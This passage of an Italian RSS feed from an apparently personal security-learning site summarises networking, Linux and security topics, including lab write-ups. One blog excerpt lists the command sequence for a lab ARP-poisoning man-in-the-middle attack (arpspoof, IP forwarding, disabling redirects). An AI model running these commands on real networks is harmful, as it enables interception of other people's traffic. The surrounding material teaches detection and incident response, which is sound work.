manualmente.</description></item><item><title>OWASP Top 10</title><link>https://u-random.dev/concetti/owasp-top10/</link><pubDate>Thu, 16 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/owasp-top10/</guid><description>Framework di classificazione delle 10 vulnerabilità web più critiche. Usato dai SOC analyst per categorizzare gli attacchi nei log e nei report.</description></item><item><title>Unicast, Broadcast, Multicast</title><link>https://u-random.dev/concetti/unicast-broadcast-multicast/</link><pubDate>Thu, 16 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/unicast-broadcast-multicast/</guid><description>I tre modi in cui un pacchetto può essere indirizzato in rete: a uno solo (unicast), a tutti (broadcast), a un gruppo (multicast).</description></item><item><title>Command Chaining e Grouping</title><link>https://u-random.dev/concetti/command-chaining/</link><pubDate>Wed, 15 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/command-chaining/</guid><description>Metodi per concatenare piu' comandi in un'unica riga di comando e gestire il flusso dell'output.</description></item><item><title>I Confini della Visibilità: Pubblico vs Privato</title><link>https://u-random.dev/concetti/confini-visibilita-web/</link><pubDate>Wed, 15 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/confini-visibilita-web/</guid><description>Analisi dei tre pilastri (Document Root, Permessi, Configurazione) che determinano cosa e' esposto sul web e come i container aggiungono un ulteriore strato di isolamento.</description></item><item><title>Path Traversal</title><link>https://u-random.dev/concetti/path-traversal/</link><pubDate>Wed, 15 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/path-traversal/</guid><description>Vulnerabilita' che permette a un attaccante di leggere file arbitrari sul server manipolando parametri che costruiscono percorsi di file.</description></item><item><title>Docker - UID, permessi e volumi bind mount</title><link>https://u-random.dev/concetti/docker-uid-permessi/</link><pubDate>Mon, 13 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/docker-uid-permessi/</guid><description>Il problema fondamentale dei bind mount Docker: l'UID dell'utente host e l'UID dell'utente container non coincidono, causando errori di permesso sui file montati. Soluzione: entrypoint dinamico che crea l'utente con il UID corretto a runtime.</description></item><item><title>Alternative a man (Cheatsheet)</title><link>https://u-random.dev/concetti/cheatsheet-alternatives/</link><pubDate>Sun, 12 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/cheatsheet-alternatives/</guid><description>Panoramica delle risorse alternative ai manuali ufficiali (man) per consultare rapidamente esempi pratici di comandi CLI.</description></item><item><title>IPv6 - Internet Protocol Version 6</title><link>https://u-random.dev/concetti/ipv6/</link><pubDate>Fri, 10 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ipv6/</guid><description>Successore di IPv4 a 128 bit. Elimina la scarsità di indirizzi, rimuove il broadcast, introduce multicast nativo, header fisso a 40 byte. Adozione globale ~45-49% (2026). Richiede firewall esplicito - niente NAT implicito.</description></item><item><title>MTU - Maximum Transmission Unit</title><link>https://u-random.dev/concetti/mtu/</link><pubDate>Fri, 10 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/mtu/</guid><description>Maximum Transmission Unit - la dimensione massima in byte del payload di un frame su un link fisico. Opera a Layer 2. Determina se un pacchetto IP deve essere frammentato o se il mittente deve ridurre la dimensione dei dati.</description></item><item><title>NDP - Neighbor Discovery Protocol</title><link>https://u-random.dev/concetti/ndp-neighbor-discovery/</link><pubDate>Fri, 10 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ndp-neighbor-discovery/</guid><description>Protocollo IPv6 che sostituisce ARP. Usa ICMPv6 e multicast invece di broadcast per trovare il MAC address di un host nella stessa LAN. Neighbor Solicitation (type 135) chiede, Neighbor Advertisement (type 136) risponde.</description></item><item><title>SQL Injection (SQLi)</title><link>https://u-random.dev/concetti/sql-injection/</link><pubDate>Fri, 10 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/sql-injection/</guid><description>Vulnerabilità web che permette di manipolare le query database tramite input non sanificati, bypassando i controlli di sicurezza.</description></item><item><title>arpspoof - ARP cache poisoning tool</title><link>https://u-random.dev/comandi/arpspoof/</link><pubDate>Thu, 09 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/arpspoof/</guid><description>Tool per ARP poisoning — manda pacchetti ARP falsi in loop per avvelenare la cache ARP di un target. Usato per simulare attacchi MITM in laboratorio e capire come rilevarli.</description></item><item><title>Il Gateway Sono Io</title><link>https://u-random.dev/blog/blog-arp-poisoning/</link><pubDate>Thu, 09 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/blog-arp-poisoning/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;ARP non ha autenticazione - chiunque può convincere una rete che il gateway è lui&lt;/li&gt;
&lt;li&gt;Per fare un MITM silenzioso servono tre passi: IP forwarding, avvelenare entrambi i lati, disabilitare ICMP Redirect&lt;/li&gt;
&lt;li&gt;La firma del MITM in Wireshark è inequivocabile: stesso pacchetto, stesso seq number, TTL decrementato di 1&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ip route flush all&lt;/code&gt; su una macchina remota equivale a spegnerla - lezione imparata a caro prezzo&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/arpspoof/" &gt;arpspoof&lt;/a&gt; -i eth0 -t 192.168.64.3 192.168.64.1&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/sysctl/" &gt;sysctl&lt;/a&gt; -w net.ipv4.ip_forward=1&lt;/li&gt;
&lt;li&gt;sysctl -w net.ipv4.conf.all.send_redirects=0&lt;/li&gt;
&lt;li&gt;sysctl -w net.ipv4.conf.eth0.send_redirects=0&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/ip/" &gt;ip&lt;/a&gt; neighbor show&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/tcpdump/" &gt;tcpdump&lt;/a&gt; -i eth0 -n 'host 192.168.64.3 and icmp' -c 10&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;hr&gt;
&lt;p&gt;Sono le 21:00. Il lab è acceso da qualche ora. Ho appena finito di leggere
come funziona il Gratuitous ARP - quella tecnica dove un dispositivo annuncia
a tutta la rete &amp;quot;questo IP sono io&amp;quot;, senza che nessuno lo abbia chiesto.&lt;/p&gt;</description></item><item><title>IP Header e IPv4</title><link>https://u-random.dev/concetti/ip-header/</link><pubDate>Thu, 09 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ip-header/</guid><description>Struttura dell'header IPv4: campi principali, TTL, frammentazione, checksum. IPv4 opera a Layer 3 e si occupa del routing tra reti diverse. Diverso da MAC che opera solo nella LAN.</description></item><item><title>sysctl - configure kernel parameters at runtime</title><link>https://u-random.dev/comandi/sysctl/</link><pubDate>Thu, 09 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/sysctl/</guid><description>Legge e modifica parametri del kernel Linux a runtime senza riavviare. Usato per abilitare IP forwarding, disabilitare ICMP redirect, e configurare parametri di rete e sicurezza.</description></item><item><title>Docker Volumes</title><link>https://u-random.dev/concetti/docker-volumes/</link><pubDate>Wed, 08 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/docker-volumes/</guid><description>Meccanismo di persistenza dei dati in Docker. I volumi sopravvivono al ciclo di vita dei container e possono essere condivisi tra piu container.</description></item><item><title>SSL/TLS</title><link>https://u-random.dev/concetti/ssl-tls/</link><pubDate>Tue, 07 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ssl-tls/</guid><description>Protocollo che cifra le connessioni di rete. TLS handshake, catena CA, Perfect Forward Secrecy, post-quantum cryptography. Confronto con SSH.</description></item><item><title>tshark - terminal Wireshark</title><link>https://u-random.dev/comandi/tshark/</link><pubDate>Sun, 05 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/tshark/</guid><description>Wireshark da terminale. Stessa logica e stessi filtri display di Wireshark GUI, ma tutto da riga di comando. Cattura traffico live o analizza file .dfir. Indispensabile su server senza GUI e per automatizzare analisi con script bash.</description></item><item><title>nmap - Network Mapper</title><link>https://u-random.dev/comandi/nmap/</link><pubDate>Fri, 03 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/nmap/</guid><description>Mappa la rete mandando pacchetti TCP/UDP/ICMP verso host e porte target e analizza le risposte. Da un singolo SYN capisce se una porta e' aperta, chiusa o filtrata. Strumento standard per asset discovery, port scanning e audit di sicurezza.</description></item><item><title>La Lettera che Cambia Busta</title><link>https://u-random.dev/blog/la-lettera-che-cambia-busta/</link><pubDate>Thu, 02 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/la-lettera-che-cambia-busta/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;traceroute -n 8.8.8.8&lt;/code&gt; mostra i 14 router tra te e Google - ogni riga è un salto (hop)&lt;/li&gt;
&lt;li&gt;IP address = destinazione finale, non cambia mai; MAC address = tratto corrente, cambia ad ogni hop&lt;/li&gt;
&lt;li&gt;Il router legge l'IP dentro (la lettera), riscrive il MAC fuori (la busta) e passa il pacchetto al prossimo salto&lt;/li&gt;
&lt;li&gt;&lt;code&gt;* * *&lt;/code&gt; non significa percorso interrotto - solo che quel router non risponde a ICMP/UDP; prova con &lt;code&gt;-T&lt;/code&gt; (TCP)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;traceroute -n 8.8.8.8&lt;/li&gt;
&lt;li&gt;traceroute -I -n 8.8.8.8&lt;/li&gt;
&lt;li&gt;sudo traceroute -T google.com&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/ip/" &gt;ip&lt;/a&gt; neighbor show&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/ip/" &gt;ip&lt;/a&gt; route show&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;&lt;strong&gt;Sistema:&lt;/strong&gt; Linux (testato su Kali 2024 e Ubuntu 24.04)
&lt;strong&gt;Tools:&lt;/strong&gt; &lt;code&gt;traceroute&lt;/code&gt;, &lt;code&gt;ip&lt;/code&gt; - già installati di default
&lt;strong&gt;Conoscenze:&lt;/strong&gt; nessuna - si parte da zero&lt;/p&gt;</description></item><item><title>Il Processo che Non Dorme Mai</title><link>https://u-random.dev/blog/il-processo-che-non-dorme-mai/</link><pubDate>Wed, 01 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/il-processo-che-non-dorme-mai/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;Alert alle 2:47: processo &lt;code&gt;bash&lt;/code&gt; con connessione aperta verso IP esterno su porta 4444 → reverse shell attiva&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ss -tnp | grep ESTABLISHED&lt;/code&gt; identifica il processo e il PID in tempo reale&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tcpdump -i eth0 -n -A&lt;/code&gt; legge il payload in chiaro: comandi dell'attaccante visibili direttamente&lt;/li&gt;
&lt;li&gt;Prima di bloccare: raccogliere &lt;code&gt;history&lt;/code&gt;, &lt;code&gt;auth.log&lt;/code&gt;, &lt;code&gt;find -mmin -120&lt;/code&gt; - agire troppo presto distrugge le prove&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/ss/" &gt;ss&lt;/a&gt; -tnp&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/tcpdump/" &gt;tcpdump&lt;/a&gt; -i eth0 -n -A host 185.220.101.34&lt;/li&gt;
&lt;li&gt;ip a&lt;/li&gt;
&lt;li&gt;history&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/grep/" &gt;grep&lt;/a&gt; &amp;quot;185.220.101.34&amp;quot; /var/log/auth.log&lt;/li&gt;
&lt;li&gt;find / -mmin -120 -type f 2&amp;gt;/dev/null&lt;/li&gt;
&lt;li&gt;kill -9 [PID]&lt;/li&gt;
&lt;li&gt;ufw deny from [IP]&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;&lt;figure&gt;&lt;img
 class="my-0 rounded-md"
 loading="lazy"
 decoding="async"
 fetchpriority="auto"
 alt="Anatomia di una Reverse Shell: Timeline di Reazione"
 width="1536"
 height="2752"
 src="https://u-random.dev/assets/il-processo-che-non-dorme-mai_hu_bfbec6d0b0bbc58f.webp"
 srcset="https://u-random.dev/assets/il-processo-che-non-dorme-mai_hu_bfbec6d0b0bbc58f.webp 800w, https://u-random.dev/assets/il-processo-che-non-dorme-mai_hu_687b5c6ccfaece7e.webp 1280w"
 sizes="(min-width: 768px) 50vw, 65vw"
 data-zoom-src="https://u-random.dev/assets/il-processo-che-non-dorme-mai.webp"&gt;&lt;/figure&gt;
&lt;/p&gt;</description></item><item><title>Cosa succede davvero sulla rete mentre il tuo codice gira</title><link>https://u-random.dev/blog/tcp-handshake-per-developer/</link><pubDate>Tue, 31 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/tcp-handshake-per-developer/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;Prima di ogni richiesta HTTP il kernel fa un handshake in 3 pacchetti: SYN → SYN+ACK → ACK&lt;/li&gt;
&lt;li&gt;I flag TCP (&lt;code&gt;[S]&lt;/code&gt;, &lt;code&gt;[S.]&lt;/code&gt;, &lt;code&gt;[.]&lt;/code&gt;, &lt;code&gt;[P.]&lt;/code&gt;, &lt;code&gt;[R]&lt;/code&gt;, &lt;code&gt;[F]&lt;/code&gt;) si leggono tutti in tcpdump in tempo reale&lt;/li&gt;
&lt;li&gt;RST = chiusura brusca (porta chiusa, firewall, crash) - molti RST consecutivi sono segnale sospetto&lt;/li&gt;
&lt;li&gt;I log applicativi non vedono un SYN scan - serve tcpdump a livello di rete&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/tcpdump/" &gt;tcpdump&lt;/a&gt; -i any -n 'host api.example.com'&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/tcpdump/" &gt;tcpdump&lt;/a&gt; -i any -n 'tcp and port 443'&lt;/li&gt;
&lt;li&gt;tcpdump 'tcp[tcpflags] &amp;amp; tcp-syn != 0'&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;Stai costruendo un'API. Il client manda una richiesta, il server risponde. Funziona. Ma cosa succede esattamente tra il momento in cui scrivi &lt;code&gt;fetch(&amp;quot;https://api.example.com/data&amp;quot;)&lt;/code&gt; e quello in cui arriva la risposta?&lt;/p&gt;</description></item><item><title>dig - domain information groper</title><link>https://u-random.dev/comandi/dig/</link><pubDate>Mon, 30 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/dig/</guid><description>Invia query DNS a un nameserver e mostra la risposta completa. Strumento principale per diagnosticare DNS, verificare record, seguire la catena di risoluzione e rilevare anomalie.</description></item><item><title>TCP Handshake</title><link>https://u-random.dev/concetti/tcp-handshake/</link><pubDate>Mon, 30 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/tcp-handshake/</guid><description>Il TCP handshake e' la negoziazione obbligatoria che precede qualsiasi trasmissione dati via TCP. Tre pacchetti stabiliscono la connessione, uno la chiude. I flag nei pacchetti dicono tutto su cosa sta succedendo.</description></item><item><title>TCP vs UDP - Protocolli di Trasporto</title><link>https://u-random.dev/concetti/tcp-udp/</link><pubDate>Mon, 30 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/tcp-udp/</guid><description>TCP e UDP sono i due protocolli di trasporto al livello 4 dello stack OSI. TCP garantisce consegna ordinata con handshake e conferme. UDP e' senza connessione - veloce ma senza garanzie.</description></item><item><title>tcpdump - dump traffic on a network</title><link>https://u-random.dev/comandi/tcpdump/</link><pubDate>Mon, 30 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/tcpdump/</guid><description>Cattura e analizza pacchetti di rete direttamente dal terminale. Legge il traffico sull'interfaccia di rete in tempo reale o da file .dfir. Strumento fondamentale per incident response e analisi traffico.</description></item><item><title>/var/run/docker.sock - il socket di Docker</title><link>https://u-random.dev/concetti/docker-sock/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/docker-sock/</guid><description>docker.sock e' il Unix domain socket che permette al Docker CLI di comunicare con dockerd. Montarlo dentro un container equivale a dare al container il controllo completo di Docker - e quindi dell'host.</description></item><item><title>Git Objects - struttura interna di git</title><link>https://u-random.dev/concetti/git-objects/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/git-objects/</guid><description>Git memorizza tutto come oggetti immutabili nel database .git/objects. Ogni commit, system, albero e tag e' un oggetto con un hash SHA-1. Capire questa struttura e' fondamentale per il secret scanning - i segreti sopravvivono nella storia anche dopo la rimozione.</description></item><item><title>POSIX - Portable Operating System Interface</title><link>https://u-random.dev/concetti/posix/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/posix/</guid><description>POSIX (Portable Operating System Interface) e' uno standard IEEE che definisce il comportamento di shell, comandi e chiamate di sistema su Unix-like. Garantisce portabilita' degli script tra bash, zsh, sh e dash.</description></item><item><title>Secret Scanning - trovare segreti esposti</title><link>https://u-random.dev/concetti/secret-scanning/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/secret-scanning/</guid><description>Il secret scanning e' la pratica di cercare credenziali, chiavi API e segreti esposti per errore in repository git, file di configurazione e log. E' uno dei vettori di compromissione piu' comuni e sottovalutati.</description></item><item><title>Shebang - #!</title><link>https://u-random.dev/concetti/shebang/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/shebang/</guid><description>Lo shebang (#!) e' la sequenza nei primi due byte di uno script che dice al kernel quale interprete usare. Senza shebang lo script viene eseguito dalla shell corrente - comportamento non portabile.</description></item><item><title>Shell - confronto e differenze</title><link>https://u-random.dev/concetti/shell-comparison/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/shell-comparison/</guid><description>Le shell Unix sono interpreti di comandi che implementano POSIX come contratto minimo comune. sh e dash sono minimali e veloci, bash aggiunge estensioni comode, zsh aggiunge ancora di piu', fish rompe la compatibilita' POSIX per una sintassi piu' pulita.</description></item><item><title>SSH Protocol - Secure Shell</title><link>https://u-random.dev/concetti/ssh-protocol/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ssh-protocol/</guid><description>Protocollo per connessioni remote cifrate. Sostituisce Telnet e rlogin. Handshake, TOFU, autenticazione con chiave, challenge-response, Perfect Forward Secrecy. Confronto con TLS.</description></item><item><title>Compressione e Archivi - gzip, bzip2, zip, tar</title><link>https://u-random.dev/comandi/compressione-arichivazione/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/compressione-arichivazione/</guid><description>Guida unificata a gzip, bzip2, zip e tar su Linux. Copre compressione singoli file, archiviazione multi-file, formato tar.gz, e uso forense per analisi di archivi sospetti.</description></item><item><title>ip - show / manipulate routing and interfaces</title><link>https://u-random.dev/comandi/ip/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/ip/</guid><description>Gestisce interfacce di rete, indirizzi IP e tabella di routing. Sostituisce ifconfig (deprecato) e route. Comando fondamentale per diagnosticare e configurare la rete su Linux moderno.</description></item><item><title>locate - find files by name (database search)</title><link>https://u-random.dev/comandi/locate/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/locate/</guid><description>Cerca file nel filesystem tramite un database pre-costruito di pathname. Molto piu' veloce di find ma non trova file creati di recente — il database viene aggiornato di notte da updatedb.</description></item><item><title>rsync - remote file synchronization</title><link>https://u-random.dev/comandi/rsync/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/rsync/</guid><description>Sincronizza file e directory localmente o via rete SSH. Trasferisce solo le differenze rispetto alla destinazione — efficiente per backup incrementali e sincronizzazione remota.</description></item><item><title>ss - socket statistics</title><link>https://u-random.dev/comandi/ss/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/ss/</guid><description>Mostra socket aperti e connessioni di rete. Sostituisce netstat (deprecato) — piu' veloce perche' legge direttamente dal kernel invece di parsare /proc. Fondamentale in incident response per vedere chi e' connesso e chi ascolta.</description></item><item><title>touch - change file timestamps</title><link>https://u-random.dev/comandi/touch/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/touch/</guid><description>Crea file vuoti o aggiorna i timestamp di file esistenti. Il nome viene da 'touch the timestamps'. Usato spesso per creare file segnaposto negli script.</description></item><item><title>traceroute - trace route to host</title><link>https://u-random.dev/comandi/traceroute/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/traceroute/</guid><description>Mostra il percorso che i pacchetti compiono dalla macchina locale a un host remoto, hop per hop. Sfrutta il TTL per scoprire ogni router intermedio e misurare la latenza per tratto.</description></item><item><title>wget - web get</title><link>https://u-random.dev/comandi/wget/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/wget/</guid><description>Scarica file da URL in modo non interattivo. A differenza di curl e' ottimizzato per il download — riprende automaticamente i download interrotti e puo' scaricare siti interi ricorsivamente.</description></item><item><title>xargs - build and execute command lines from stdin</title><link>https://u-random.dev/comandi/xargs/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/xargs/</guid><description>Converte stdin in argomenti per un comando. Permette di passare l'output di un comando come argomenti a un altro — fondamentale per costruire pipeline su grandi liste di file.</description></item><item><title>apropos - search man pages</title><link>https://u-random.dev/comandi/apropos/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/apropos/</guid><description>Cerca una parola chiave nelle descrizioni di tutte le pagine di manuale. E' il Google interno di Linux — quando sai cosa vuoi fare ma non ricordi il nome del comando.</description></item><item><title>Bash Startup Files - file di avvio</title><link>https://u-random.dev/concetti/bash-startup-files/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/bash-startup-files/</guid><description>I file di startup di bash determinano quali variabili, alias e funzioni vengono caricati all'avvio della shell. L'ordine di lettura dipende dal tipo di sessione: login shell o non-login shell.</description></item><item><title>dd - data duplicator (o disk destroyer)</title><link>https://u-random.dev/comandi/dd/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/dd/</guid><description>Copia dati a basso livello direttamente tra dispositivi o file, blocco per blocco. Usato per clonare dischi, scrivere immagini su SD/USB, creare backup raw e acquisire immagini forensi.</description></item><item><title>lsblk - list block devices</title><link>https://u-random.dev/comandi/lsblk/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/lsblk/</guid><description>Mostra l'albero dei dispositivi a blocchi — dischi, partizioni, LVM e relativi punti di mount. Comando moderno preferito a fdisk -l per una panoramica rapida della struttura del disco.</description></item><item><title>man - manual pages</title><link>https://u-random.dev/comandi/man/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/man/</guid><description>Visualizza la documentazione ufficiale di comandi, file di configurazione, chiamate di sistema e librerie. Organizzato in 8 sezioni — sapere quale sezione cercare e' la chiave per trovare subito quello che serve.</description></item><item><title>mount / umount - mount filesystem</title><link>https://u-random.dev/comandi/mount/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/mount/</guid><description>Aggancia un dispositivo di storage o filesystem a un punto dell'albero delle directory. Senza mount il dispositivo non e' accessibile. umount sgancia in modo sicuro prima di rimuovere fisicamente il device.</description></item><item><title>Offline. Non al buio.</title><link>https://u-random.dev/blog/offline-non-al-buio/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/offline-non-al-buio/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;apropos parola&lt;/code&gt; trova il comando quando non ne conosci il nome&lt;/li&gt;
&lt;li&gt;&lt;code&gt;comando --help&lt;/code&gt; ti dà i flag in cinque secondi senza uscire dal terminale&lt;/li&gt;
